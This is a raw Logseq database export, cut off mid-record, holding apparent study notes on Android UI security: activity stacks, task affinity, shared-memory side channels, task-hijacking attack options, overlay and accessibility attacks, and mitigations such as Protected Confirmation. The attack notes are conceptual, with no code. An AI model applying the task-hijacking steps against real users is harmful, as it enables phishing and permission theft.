tasklogseq____",536876191]],[logseq____"^15logseq____",[715,logseq____"^Ologseq____",logseq____"^16logseq____",536876191]],[logseq____"^15logseq____",[715,logseq____"^Flogseq____",717,536876191]],[logseq____"^15logseq____",[715,logseq____"^Xlogseq____",28,536876191]],[logseq____"^15logseq____",[715,logseq____"^Vlogseq____",716,536876191]],[logseq____"^15logseq____",[715,logseq____"^Ulogseq____",2,536876191]],[logseq____"^15logseq____",[715,logseq____"^Ulogseq____",24,536876191]],[logseq____"^15logseq____",[715,logseq____"^Ulogseq____",28,536876191]],[logseq____"^15logseq____",[715,logseq____"^;logseq____",logseq____"~u67bb1dd7-4fe3-4f03-a0be-855319764695logseq____",536876191]],[logseq____"^15logseq____",[716,logseq____"^Qlogseq____",logseq____"### Activity Stacklogseq____",536876191]],[logseq____"^15logseq____",[716,logseq____"^Ologseq____",logseq____"^16logseq____",536876191]],[logseq____"^15logseq____",[716,logseq____"^Flogseq____",362,536876191]],[logseq____"^15logseq____",[716,logseq____"^Xlogseq____",28,536876191]],[logseq____"^15logseq____",[716,logseq____"^Vlogseq____",90,536876191]],[logseq____"^15logseq____",[716,logseq____"^Ulogseq____",2,536876191]],[logseq____"^15logseq____",[716,logseq____"^Ulogseq____",24,536876191]],[logseq____"^15logseq____",[716,logseq____"^Ulogseq____",28,536876191]],[logseq____"^15logseq____",[716,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536876191]],[logseq____"^15logseq____",[716,logseq____"^Jlogseq____",[],536876191]],[logseq____"^15logseq____",[716,logseq____"^;logseq____",logseq____"~u67bb1dd7-845f-439c-a6da-dec115d1dd81logseq____",536876191]],[logseq____"^15logseq____",[717,logseq____"^Qlogseq____",logseq____"~`android:taskAffinity`: defines affinity for an activity (can place activities defined in apps in same task)logseq____",536876191]],[logseq____"^15logseq____",[717,logseq____"^Ologseq____",logseq____"^16logseq____",536876191]],[logseq____"^15logseq____",[717,logseq____"^Flogseq____",716,536876191]],[logseq____"^15logseq____",[717,logseq____"^Xlogseq____",28,536876191]],[logseq____"^15logseq____",[717,logseq____"^Vlogseq____",716,536876191]],[logseq____"^15logseq____",[717,logseq____"^Ulogseq____",2,536876191]],[logseq____"^15logseq____",[717,logseq____"^Ulogseq____",24,536876191]],[logseq____"^15logseq____",[717,logseq____"^Ulogseq____",28,536876191]],[logseq____"^15logseq____",[717,logseq____"^;logseq____",logseq____"~u67bb1dd7-8d39-48bd-9cd0-1ff552437b3flogseq____",536876191]],[logseq____"^15logseq____",[718,logseq____"^Qlogseq____",logseq____"~`startActivities` can simultaneously start multiple activities (only last one is shown)logseq____",536876194]],[logseq____"^15logseq____",[718,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[718,logseq____"^Flogseq____",722,536876194]],[logseq____"^15logseq____",[718,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[718,logseq____"^Vlogseq____",729,536876194]],[logseq____"^15logseq____",[718,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[718,logseq____"^;logseq____",logseq____"~u67bb1dd7-3070-45d6-b9fe-06441aa61c2alogseq____",536876194]],[logseq____"^15logseq____",[719,logseq____"^Qlogseq____",logseq____"Define attack activities (Phishing, permission harvesting etc.)logseq____",536876194]],[logseq____"^15logseq____",[719,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[719,logseq____"^Flogseq____",733,536876194]],[logseq____"^15logseq____",[719,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[719,logseq____"^Vlogseq____",733,536876194]],[logseq____"^15logseq____",[719,logseq____"^Ulogseq____",689,536876282]],[logseq____"^15logseq____",[719,logseq____"^;logseq____",logseq____"~u67bb1dd7-9a90-444b-949a-8f402e3bf34dlogseq____",536876194]],[logseq____"^15logseq____",[720,logseq____"^Qlogseq____",logseq____"Simple stack that stores applications (LIFO)logseq____",536876194]],[logseq____"^15logseq____",[720,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[720,logseq____"^Flogseq____",729,536876194]],[logseq____"^15logseq____",[720,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[720,logseq____"^Vlogseq____",729,536876194]],[logseq____"^15logseq____",[720,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[720,logseq____"^;logseq____",logseq____"~u67bb1dd7-2a89-4f15-8516-d8f6e376daa7logseq____",536876194]],[logseq____"^15logseq____",[721,logseq____"^Qlogseq____",logseq____"Shared memory changes are correlated with Android window events (proportional to window size)logseq____",536876194]],[logseq____"^15logseq____",[721,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[721,logseq____"^Flogseq____",723,536876194]],[logseq____"^15logseq____",[721,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[721,logseq____"^Vlogseq____",723,536876194]],[logseq____"^15logseq____",[721,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[721,logseq____"^;logseq____",logseq____"~u67bb1dd7-c54f-4033-9e09-413e32b2b2c1logseq____",536876194]],[logseq____"^15logseq____",[722,logseq____"^Qlogseq____",logseq____"Can be configured in [[Application Manifest]] (`Intent.FLAG_ACTIVITY_NEW_TASK` can bring task to front of screen)logseq____",536876194]],[logseq____"^15logseq____",[722,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[722,logseq____"^Flogseq____",724,536876194]],[logseq____"^15logseq____",[722,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[722,logseq____"^Vlogseq____",729,536876194]],[logseq____"^15logseq____",[722,logseq____"^Ulogseq____",28,536876194]],[logseq____"^15logseq____",[722,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[722,logseq____"^Hlogseq____",28,536876194]],[logseq____"^15logseq____",[722,logseq____"^;logseq____",logseq____"~u67bb1dd7-7fc0-4935-a28a-626e41573163logseq____",536876194]],[logseq____"^15logseq____",[723,logseq____"^Qlogseq____",logseq____"## Shared Memory as Side-Channellogseq____",536876194]],[logseq____"^15logseq____",[723,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[723,logseq____"^Flogseq____",701,536876194]],[logseq____"^15logseq____",[723,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[723,logseq____"^Vlogseq____",689,536876194]],[logseq____"^15logseq____",[723,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[723,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876194]],[logseq____"^15logseq____",[723,logseq____"^Jlogseq____",[],536876194]],[logseq____"^15logseq____",[723,logseq____"^;logseq____",logseq____"~u67bb1dd7-d04e-4058-8eb6-3c07827bf34clogseq____",536876194]],[logseq____"^15logseq____",[724,logseq____"^Qlogseq____",logseq____"Activities within a task can belong to different apps (Usually associated with initiating activity)logseq____",536876194]],[logseq____"^15logseq____",[724,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[724,logseq____"^Flogseq____",735,536876194]],[logseq____"^15logseq____",[724,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[724,logseq____"^Vlogseq____",729,536876194]],[logseq____"^15logseq____",[724,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[724,logseq____"^;logseq____",logseq____"~u67bb1dd7-5594-4a5d-ad8c-a614b4705926logseq____",536876194]],[logseq____"^15logseq____",[725,logseq____"^Qlogseq____",logseq____"Permission requests can be shown despite app not visible (background app): App name only indicated in permission requestlogseq____",536876194]],[logseq____"^15logseq____",[725,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[725,logseq____"^Flogseq____",721,536876194]],[logseq____"^15logseq____",[725,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[725,logseq____"^Vlogseq____",723,536876194]],[logseq____"^15logseq____",[725,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[725,logseq____"^;logseq____",logseq____"~u67bb1dd7-9a89-4db6-9b4a-e9e00875cc7alogseq____",536876194]],[logseq____"^15logseq____",[726,logseq____"^Qlogseq____",logseq____"Use SM side-channel to infer current App and ask for permissionslogseq____",536876194]],[logseq____"^15logseq____",[726,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[726,logseq____"^Flogseq____",725,536876194]],[logseq____"^15logseq____",[726,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[726,logseq____"^Vlogseq____",723,536876194]],[logseq____"^15logseq____",[726,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[726,logseq____"^;logseq____",logseq____"~u67bb1dd7-a1af-4eb5-bfc0-c066bceb7556logseq____",536876194]],[logseq____"^15logseq____",[727,logseq____"^Qlogseq____",logseq____"Set `allowTaskReparenting` for attack activitieslogseq____",536876194]],[logseq____"^15logseq____",[727,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[727,logseq____"^Flogseq____",728,536876194]],[logseq____"^15logseq____",[727,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[727,logseq____"^Vlogseq____",733,536876194]],[logseq____"^15logseq____",[727,logseq____"^Ulogseq____",689,536876282]],[logseq____"^15logseq____",[727,logseq____"^;logseq____",logseq____"~u67bb1dd7-4562-44d4-a980-8ed5f60d9f65logseq____",536876194]],[logseq____"^15logseq____",[728,logseq____"^Qlogseq____",logseq____"Define victim activities in taskAffinity attributeslogseq____",536876194]],[logseq____"^15logseq____",[728,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[728,logseq____"^Flogseq____",719,536876194]],[logseq____"^15logseq____",[728,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[728,logseq____"^Vlogseq____",733,536876194]],[logseq____"^15logseq____",[728,logseq____"^Ulogseq____",689,536876282]],[logseq____"^15logseq____",[728,logseq____"^;logseq____",logseq____"~u67bb1dd7-de6a-480a-a0ff-15e3413a14dflogseq____",536876194]],[logseq____"^15logseq____",[729,logseq____"^Qlogseq____",logseq____"## Android Activity Stacklogseq____",536876194]],[logseq____"^15logseq____",[729,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[729,logseq____"^Flogseq____",723,536876194]],[logseq____"^15logseq____",[729,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[729,logseq____"^Vlogseq____",689,536876194]],[logseq____"^15logseq____",[729,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[729,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876194]],[logseq____"^15logseq____",[729,logseq____"^Jlogseq____",[],536876194]],[logseq____"^15logseq____",[729,logseq____"^;logseq____",logseq____"~u67bb1dd7-8e72-46d5-a577-7571e3e3694alogseq____",536876194]],[logseq____"^15logseq____",[730,logseq____"^Qlogseq____",logseq____"Attack option 1: `Intent.FLAG_ACTIVITY_NEW_TASK` with `startActivities` to start two apps (innocent-looking attacker app, attacker activity moved on top of victim task) =logseq____> once victim is shown Attacker app is shown logseq____",536876194]],[logseq____"^15logseq____",[730,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[730,logseq____"^Flogseq____",727,536876194]],[logseq____"^15logseq____",[730,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[730,logseq____"^Vlogseq____",733,536876194]],[logseq____"^15logseq____",[730,logseq____"^Ulogseq____",689,536876282]],[logseq____"^15logseq____",[730,logseq____"^;logseq____",logseq____"~u67bb1dd7-9c43-49e1-bc27-d17a392ab10dlogseq____",536876194]],[logseq____"^15logseq____",[731,logseq____"^Qlogseq____",logseq____"Apps do not consume touches when overlays of different apps obscure fieldlogseq____",536876194]],[logseq____"^15logseq____",[731,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[731,logseq____"^Flogseq____",737,536876194]],[logseq____"^15logseq____",[731,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[731,logseq____"^Vlogseq____",734,536876194]],[logseq____"^15logseq____",[731,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[731,logseq____"^;logseq____",logseq____"~u67bb1dd7-f340-430a-9a8d-1773b8fbc344logseq____",536876194]],[logseq____"^15logseq____",[732,logseq____"^Qlogseq____",logseq____"Dedicatded settings dialogue to activate apps as ally servicelogseq____",536876194]],[logseq____"^15logseq____",[732,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[732,logseq____"^Flogseq____",741,536876194]],[logseq____"^15logseq____",[732,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[732,logseq____"^Vlogseq____",738,536876194]],[logseq____"^15logseq____",[732,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[732,logseq____"^;logseq____",logseq____"~u67bb1dd7-dff0-44a5-897c-fdbdd2723935logseq____",536876194]],[logseq____"^15logseq____",[733,logseq____"^Qlogseq____",logseq____"### Task Hijakinglogseq____",536876194]],[logseq____"^15logseq____",[733,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[733,logseq____"^Flogseq____",739,536876285]],[logseq____"^15logseq____",[733,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[733,logseq____"^Vlogseq____",729,536876194]],[logseq____"^15logseq____",[733,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[733,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536876285]],[logseq____"^15logseq____",[733,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536876285]],[logseq____"^15logseq____",[733,logseq____"^;logseq____",logseq____"~u67bb1dd7-7e68-4bc2-b062-8d07eff783calogseq____",536876194]],[logseq____"^15logseq____",[734,logseq____"^Qlogseq____",logseq____"### Android Mitigationslogseq____",536876194]],[logseq____"^15logseq____",[734,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[734,logseq____"^Flogseq____",738,536876194]],[logseq____"^15logseq____",[734,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[734,logseq____"^Vlogseq____",701,536876194]],[logseq____"^15logseq____",[734,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[734,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536876194]],[logseq____"^15logseq____",[734,logseq____"^Jlogseq____",[],536876194]],[logseq____"^15logseq____",[734,logseq____"^;logseq____",logseq____"~u67bb1dd7-9081-41cb-b6a1-d89787e41713logseq____",536876194]],[logseq____"^15logseq____",[735,logseq____"^Qlogseq____",logseq____"Default behaviour can be changed with flags in `startActivity`, e.g., how their activity is assigned to tasks (to, e.g., handle what \\logseq____"back\\logseq____" button does)logseq____",536876194]],[logseq____"^15logseq____",[735,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[735,logseq____"^Flogseq____",720,536876194]],[logseq____"^15logseq____",[735,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[735,logseq____"^Vlogseq____",729,536876194]],[logseq____"^15logseq____",[735,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[735,logseq____"^;logseq____",logseq____"~u67bb1dd7-d28a-40fb-aa87-37b015ebcd37logseq____",536876194]],[logseq____"^15logseq____",[736,logseq____"^Qlogseq____",logseq____"Added permission types for overlays distinguishing between App and System Applogseq____",536876194]],[logseq____"^15logseq____",[736,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[736,logseq____"^Flogseq____",734,536876194]],[logseq____"^15logseq____",[736,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[736,logseq____"^Vlogseq____",734,536876194]],[logseq____"^15logseq____",[736,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[736,logseq____"^;logseq____",logseq____"~u67bb1dd7-201b-40f2-ac30-46d2a46dbe98logseq____",536876194]],[logseq____"^15logseq____",[737,logseq____"^Qlogseq____",logseq____"~`setHideOverlayWindows` (when `HIDE_OVERLAY_PERMISSION`) hides all application overlayslogseq____",536876194]],[logseq____"^15logseq____",[737,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[737,logseq____"^Flogseq____",736,536876194]],[logseq____"^15logseq____",[737,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[737,logseq____"^Vlogseq____",734,536876194]],[logseq____"^15logseq____",[737,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[737,logseq____"^;logseq____",logseq____"~u67bb1dd7-0d49-48f5-9e79-81a1cc5c236dlogseq____",536876194]],[logseq____"^15logseq____",[738,logseq____"^Qlogseq____",logseq____"### Attacks via Accessibility Featureslogseq____",536876194]],[logseq____"^15logseq____",[738,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[738,logseq____"^Flogseq____",702,536876194]],[logseq____"^15logseq____",[738,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[738,logseq____"^Vlogseq____",701,536876194]],[logseq____"^15logseq____",[738,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[738,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536876194]],[logseq____"^15logseq____",[738,logseq____"^Jlogseq____",[],536876194]],[logseq____"^15logseq____",[738,logseq____"^;logseq____",logseq____"~u67bb1dd7-ecad-488f-b45c-b5a22cff6f76logseq____",536876194]],[logseq____"^15logseq____",[739,logseq____"^Qlogseq____",logseq____"~`launchMode=singleTask`: new task is created and activity is instanciated as root of task (only one instance can exist, route to existing one)logseq____",536876194]],[logseq____"^15logseq____",[739,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[739,logseq____"^Flogseq____",718,536876194]],[logseq____"^15logseq____",[739,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[739,logseq____"^Vlogseq____",729,536876194]],[logseq____"^15logseq____",[739,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[739,logseq____"^;logseq____",logseq____"~u67bb1dd7-18b2-45ee-9ba3-ed29e68516a3logseq____",536876194]],[logseq____"^15logseq____",[740,logseq____"^Qlogseq____",logseq____"Attack option 2: `allowTaskReparenting` does not happen immediately =logseq____> attacker behaves differently depending on whether he is already moved or notlogseq____",536876227]],[logseq____"^15logseq____",[740,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[740,logseq____"^Flogseq____",730,536876194]],[logseq____"^15logseq____",[740,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[740,logseq____"^Vlogseq____",733,536876194]],[logseq____"^15logseq____",[740,logseq____"^Ulogseq____",689,536876282]],[logseq____"^15logseq____",[740,logseq____"^?logseq____",[logseq____"^ logseq____"],536876227]],[logseq____"^15logseq____",[740,logseq____"^;logseq____",logseq____"~u67bb1dd7-05b8-4ef8-9d67-802f3b996878logseq____",536876194]],[logseq____"^15logseq____",[741,logseq____"^Qlogseq____",logseq____"Not constrained via classical sandboxinglogseq____",536876194]],[logseq____"^15logseq____",[741,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[741,logseq____"^Flogseq____",742,536876194]],[logseq____"^15logseq____",[741,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[741,logseq____"^Vlogseq____",738,536876194]],[logseq____"^15logseq____",[741,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[741,logseq____"^;logseq____",logseq____"~u67bb1dd7-2bdf-4a40-aac3-aebeac06f60blogseq____",536876194]],[logseq____"^15logseq____",[742,logseq____"^Qlogseq____",logseq____"Accessibility features for disabled users: text-to-speech, cpationing services for hearing-impaired users, voice inputlogseq____",536876194]],[logseq____"^15logseq____",[742,logseq____"^Ologseq____",logseq____"^16logseq____",536876194]],[logseq____"^15logseq____",[742,logseq____"^Flogseq____",738,536876194]],[logseq____"^15logseq____",[742,logseq____"^Xlogseq____",689,536876194]],[logseq____"^15logseq____",[742,logseq____"^Vlogseq____",738,536876194]],[logseq____"^15logseq____",[742,logseq____"^Ulogseq____",689,536876194]],[logseq____"^15logseq____",[742,logseq____"^;logseq____",logseq____"~u67bb1dd7-987f-4c5a-b5ff-353a00f58576logseq____",536876194]],[logseq____"^15logseq____",[743,logseq____"^Qlogseq____",logseq____"## Protected Confirmationlogseq____",536876238]],[logseq____"^15logseq____",[743,logseq____"^Ologseq____",logseq____"^16logseq____",536876230]],[logseq____"^15logseq____",[743,logseq____"^Flogseq____",729,536876235]],[logseq____"^15logseq____",[743,logseq____"^Xlogseq____",689,536876230]],[logseq____"^15logseq____",[743,logseq____"^Vlogseq____",689,536876235]],[logseq____"^15logseq____",[743,logseq____"^Ulogseq____",689,536876231]],[logseq____"^15logseq____",[743,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536876238]],[logseq____"^15logseq____",[743,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536876238]],[logseq____"^15logseq____",[743,logseq____"^;logseq____",logseq____"~u67bb26e5-3769-4d7c-90ed-642387fb9aa4logseq____",536876230]],[logseq____"^15logseq____",[744,logseq____"^Qlogseq____",logseq____"Trusted UI backed by Trustzonelogseq____",536876254]],[logseq____"^15logseq____",[744,logseq____"^Ologseq____",logseq____"^16logseq____",536876238]],[logseq____"^15logseq____",[744,logseq____"^Flogseq____",743,536876238]],[logseq____"^15logseq____",[744,logseq____"^Xlogseq____",689,536876238]],[logseq____"^15logseq____",[744,logseq____"^Vlogseq____",743,536876240]],[logseq____"^15logseq____",[744,logseq____"^Ulogseq____",689,536876239]],[logseq____"^15logseq____",[744,logseq____"^?logseq____",[logseq____"^ logseq____"],536876254]],[logseq____"^15logseq____",[744,logseq____"^;logseq____",logseq____"~u67bb26ed-8bd8-4a9d-8cb4-dc9d377a4b9elogseq____",536876238]],[logseq____"^15logseq____",[745,logseq____"^Qlogseq____",logseq____"Makes use of cryptographic attestationlogseq____",536876268]],[logseq____"^15logseq____",[745,logseq____"^Ologseq____",logseq____"^16logseq____",536876254]],[logseq____"^15logseq____",[745,logseq____"^Flogseq____",744,536876254]],[logseq____"^15logseq____",[745,logseq____"^Xlogseq____",689,536876254]],[logseq____"^15logseq____",[745,logseq____"^Vlogseq____",743,536876254]],[logseq____"^15logseq____",[745,logseq____"^Ulogseq____",689,536876255]],[logseq____"^15logseq____",[745,logseq____"^?logseq____",[logseq____"^ logseq____"],536876268]],[logseq____"^15logseq____",[745,logseq____"^;logseq____",logseq____"~u67bb26f9-18a4-4761-87c0-515184fad566logseq____",536876254]],[logseq____"^15logseq____",[748,logseq____"^Qlogseq____",logseq____"### Background task activity restrictions (logseq____>= Android 10)logseq____",536876307]],[logseq____"^15logseq____",[748,logseq____"^Ologseq____",logseq____"^16logseq____",536876288]],[logseq____"^15logseq____",[748,logseq____"^Flogseq____",733,536876290]],[logseq____"^15logseq____",[748,logseq____"^Xlogseq____",689,536876288]],[logseq____"^15logseq____",[748,logseq____"^Vlogseq____",729,536876290]],[logseq____"^15logseq____",[748,logseq____"^Ulogseq____",689,536876289]],[logseq____"^15logseq____",[748,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536876307]],[logseq____"^15logseq____",[748,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536876307]],[logseq____"^15logseq____",[748,logseq____"^;logseq____",logseq____"~u67bb2729-7581-409d-800c-51c046468a84logseq____",536876288]],[logseq____"^15logseq____",[749,logseq____"^Qlogseq____",logseq____"Needs one foreground activitylogseq____",536876326]],[logseq____"^15logseq____",[749,logseq____"^Ologseq____",logseq____"^16logseq____",536876308]],[logseq____"^15logseq____",[749,logseq____"^Flogseq____",748,536876308]],[logseq____"^15logseq____",[749,logseq____"^Xlogseq____",689,536876308]],[logseq____"^15logseq____",[749,logseq____"^Vlogseq____",748,536876314]],[logseq____"^15logseq____",[749,logseq____"^Ulogseq____",689,536876309]],[logseq____"^15logseq____",[749,logseq____"^?logseq____",[logseq____"^ logseq____"],536876326]],[logseq____"^15logseq____",[749,logseq____"^;logseq____",logseq____"~u67bb273c-b53b-4f73-9666-47da64510718logseq____",536876308]],[logseq____"^15logseq____",[750,logseq____"^Qlogseq____",logseq____"App has an activity in the back-stack of the forground tasklogseq____",536876348]],[logseq____"^15logseq____",[750,logseq____"^Ologseq____",logseq____"^16logseq____",536876329]],[logseq____"^15logseq____",[750,logseq____"^Flogseq____",749,536876329]],[logseq____"^15logseq____",[750,logseq____"^Xlogseq____",689,536876329]],[logseq____"^15logseq____",[750,logseq____"^Vlogseq____",748,536876329]],[logseq____"^15logseq____",[750,logseq____"^Ulogseq____",689,536876330]],[logseq____"^15logseq____",[750,logseq____"^?logseq____",[logseq____"^ logseq____"],536876348]],[logseq____"^15logseq____",[750,logseq____"^;logseq____",logseq____"~u67bb2757-a504-4d32-9dc1-2713e7487e96logseq____",536876329]],[logseq____"^15logseq____",[751,logseq____"^Qlogseq____",logseq____"App has an activity in the back-stack of an existing task in \\logseq____"Recents\\logseq____" screenlogseq____",536876367]],[logseq____"^15logseq____",[751,logseq____"^Ologseq____",logseq____"^16logseq____",536876351]],[logseq____"^15logseq____",[751,logseq____"^Flogseq____",750,536876351]],[logseq____"^15logseq____",[751,logseq____"^Xlogseq____",689,536876351]],[logseq____"^15logseq____",[751,logseq____"^Vlogseq____",748,536876351]],[logseq____"^15logseq____",[751,logseq____"^Ulogseq____",689,536876352]],[logseq____"^15logseq____",[751,logseq____"^?logseq____",[logseq____"^ logseq____"],536876367]],[logseq____"^15logseq____",[751,logseq____"^;logseq____",logseq____"~u67bb276a-334e-4fa2-b997-f314adef16a8logseq____",536876351]],[logseq____"^15logseq____",[752,logseq____"^Qlogseq____",logseq____"Activity was started recentlylogseq____",536876371]],[logseq____"^15logseq____",[752,logseq____"^Ologseq____",logseq____"^16logseq____",536876367]],[logseq____"^15logseq____",[752,logseq____"^Flogseq____",751,536876367]],[logseq____"^15logseq____",[752,logseq____"^Xlogseq____",689,536876367]],[logseq____"^15logseq____",[752,logseq____"^Vlogseq____",748,536876367]],[logseq____"^15logseq____",[752,logseq____"^Ulogseq____",689,536876368]],[logseq____"^15logseq____",[752,logseq____"^?logseq____",[logseq____"^ logseq____"],536876371]],[logseq____"^15logseq____",[752,logseq____"^;logseq____",logseq____"~u67bb277f-13e3-431c-817a-506751a389a7logseq____",536876367]],[logseq____"^15logseq____",[753,logseq____"^Qlogseq____",logseq____"App recently called `finish` on activitylogseq____",536876387]],[logseq____"^15logseq____",[753,logseq____"^Ologseq____",logseq____"^16logseq____",536876371]],[logseq____"^15logseq____",[753,logseq____"^Flogseq____",752,536876371]],[logseq____"^15logseq____",[753,logseq____"^Xlogseq____",689,536876371]],[logseq____"^15logseq____",[753,logseq____"^Vlogseq____",748,536876371]],[logseq____"^15logseq____",[753,logseq____"^Ulogseq____",689,536876372]],[logseq____"^15logseq____",[753,logseq____"^?logseq____",[logseq____"^ logseq____"],536876387]],[logseq____"^15logseq____",[753,logseq____"^;logseq____",logseq____"~u67bb278c-f7ab-439c-a442-aac41b3ef1d2logseq____",536876371]],[logseq____"^15logseq____",[754,logseq____"^Qlogseq____",logseq____"App has a service that is bound by the systemlogseq____",536876400]],[logseq____"^15logseq____",[754,logseq____"^Ologseq____",logseq____"^16logseq____",536876390]],[logseq____"^15logseq____",[754,logseq____"^Flogseq____",753,536876390]],[logseq____"^15logseq____",[754,logseq____"^Xlogseq____",689,536876390]],[logseq____"^15logseq____",[754,logseq____"^Vlogseq____",748,536876390]],[logseq____"^15logseq____",[754,logseq____"^Ulogseq____",689,536876391]],[logseq____"^15logseq____",[754,logseq____"^?logseq____",[logseq____"^ logseq____"],536876400]],[logseq____"^15logseq____",[754,logseq____"^;logseq____",logseq____"~u67bb27d0-cce0-420c-87bc-2ecea05d23e7logseq____",536876390]],[logseq____"^15logseq____",[755,logseq____"^Qlogseq____",logseq____"App has a service that is bound by different, but visible applogseq____",536876416]],[logseq____"^15logseq____",[755,logseq____"^Ologseq____",logseq____"^16logseq____",536876400]],[logseq____"^15logseq____",[755,logseq____"^Flogseq____",754,536876400]],[logseq____"^15logseq____",[755,logseq____"^Xlogseq____",689,536876400]],[logseq____"^15logseq____",[755,logseq____"^Vlogseq____",748,536876400]],[logseq____"^15logseq____",[755,logseq____"^Ulogseq____",689,536876401]],[logseq____"^15logseq____",[755,logseq____"^?logseq____",[logseq____"^ logseq____"],536876416]],[logseq____"^15logseq____",[755,logseq____"^;logseq____",logseq____"~u67bb27db-617a-403f-8a61-1e9d3bbad8dclogseq____",536876400]],[logseq____"^15logseq____",[756,logseq____"^Qlogseq____",logseq____"App receives a notification ((67b85581-3a7d-4f14-ae8e-16b0f60c05b3)) from system or different visible applogseq____",536876458]],[logseq____"^15logseq____",[756,logseq____"^Ologseq____",logseq____"^16logseq____",536876416]],[logseq____"^15logseq____",[756,logseq____"^Flogseq____",755,536876416]],[logseq____"^15logseq____",[756,logseq____"^Xlogseq____",689,536876416]],[logseq____"^15logseq____",[756,logseq____"^Vlogseq____",748,536876416]],[logseq____"^15logseq____",[756,logseq____"^Ulogseq____",398,536876425]],[logseq____"^15logseq____",[756,logseq____"^Ulogseq____",689,536876425]],[logseq____"^15logseq____",[756,logseq____"^?logseq____",[logseq____"^ 